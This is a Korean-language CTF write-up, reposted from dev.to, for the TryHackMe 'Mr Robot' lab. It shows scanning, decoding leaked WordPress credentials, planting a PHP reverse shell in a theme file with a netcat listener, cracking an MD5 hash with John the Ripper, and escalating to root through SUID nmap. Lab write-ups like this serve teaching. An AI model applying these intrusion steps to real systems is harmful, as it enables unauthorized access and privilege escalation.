TryHackMe(THM)-Mrrobot 작성

미스터 로봇 CTF
Mr. Robot 쇼를 바탕으로 이 상자를 근절할 수 있습니까?
객실 링크는 여기link

이 Mr. Robot 스타일 기계를 루팅할 수 있습니까? 이것은 초급/중급 사용자를 위한 가상 머신입니다. 기계에 3개의 숨겨진 키가 있습니다. 찾을 수 있습니까?
기본적인 것들로 방을 시작합시다.
포트 스캐닝:


nmap -sV -sC -A IP
이제 웹서버를 확인해보자!

여기에 표시된 명령으로는 도움이 되는 작업을 수행할 수 없습니다.
아직 쇼를 보지 않았다면 스포일러가 포함되어 있으므로 이 명령을 시도하지 않는 것이 좋습니다!
이 페이지에는 도움이 되는 정보가 없으므로 고버스터 스캔(디렉토리 검색)을 수행하기로 결정했습니다.

gobuster dir -u IP -w /usr/share/wordlists/dirb/common.txt
첫 번째 질문에 대한 첫 번째 힌트는 "로봇"입니다.
그리고 "robots.txt"라는 디렉토리가 있습니다.

여기 첫 번째 KEY가 있습니다!

이 시점에서 다음 키를 찾는 두 가지 방법을 찾았습니다.

아래로 스크롤하면 base64에서 문자열을 찾습니다.

BASE64 DECODER에서 이것을 해독할 수 있습니다.
https://base64.guru/converter/decode/text
ZWxsaW90OkVSMjgtMDY1Mgo= --> elliot:ER28-0652
And easy, we have the credentials for wordpress:


이제 까다로운 부분이자 이 방에서 제가 가장 좋아하는 부분입니다.
리버스 쉘을 수행해야 합니다.
먼저 "모양"- "편집기"- "아카이브"로 이동합니다.

이 단계에서 Github에서 복사할 수 있는 리버스 php 셸 구성 요소와 함께 제공되는 코드를 교체해야 합니다.
PHP REVERSE SHELL

쉘에 연결하려면 포트 4444(또는 선택한 포트)를 수신 대기해야 합니다.
넷캣
nc -lvnp 4444
그리고 IP/wp-content/themes/twentyfifteen/archive.php로 이동합니다.
쉘을 활성화합니다.


와우, 이제 껍질이 생겼습니다.
나는 덧붙였다:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/anyname.py
python /tmp/anyname.py
안정적인 쉘을 갖기 위해.
두 번째 키는/home/robot/에 있지만 안타깝게도 이 키를 읽을 수 있는 권한이 없습니다.

다행히도 로봇 사용자의 암호가 있는 다른 파일이 있습니다.

이 해시를 해독하기 위해 JohnTheRipper를 사용합니다.
echo 'c3fcd3d76192e4007dfb496cca67e13b' > anyfilename
john --format=raw-md5 --wordlist=rockyou.txt anyfilename
john --show --format=RAW-MD5 anyfilename
> ?: abcdefghijklmnopqrstuvwxyz (this is the password)
이제 "로봇"으로 간단히 연결하십시오.
su robot
-and the password is **abcdefghijklmnopqrstuvwxyz**

이제 루트에 있어야 하는 마지막 키를 찾는 일이 남아 있습니다.
힌트는 NMAP
나는 사용
find / -perm -u=s -type f 2>/dev/null
SUID 비트가 설정된 모든 파일을 찾습니다.

그리고 네, nmap이 여기에 있습니다.
GTFOBINS는 루트 권한 액세스를 얻는 방법을 찾을 수 있는 최고의 사이트입니다.
LINK
다음은 루트 액세스 권한을 얻기 위한 명령입니다.
nmap --interactive
nmap> !sh

마침내 우리는 최종 열쇠를 찾았습니다!!!
꽤 오래된 도전이지만 아주 좋은 도전입니다. 이 글을 통해 많은 것을 배웠기를 바랍니다.
질문이 있으시면 언제든지 의견을 남기고 더 많은 ctf 글을 보려면 여기에서 저를 팔로우하세요.
Reference
이 문제에 관하여(TryHackMe(THM)-Mrrobot 작성), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/ionut11/tryhackmethm-mrrobot-writeup-49eb텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)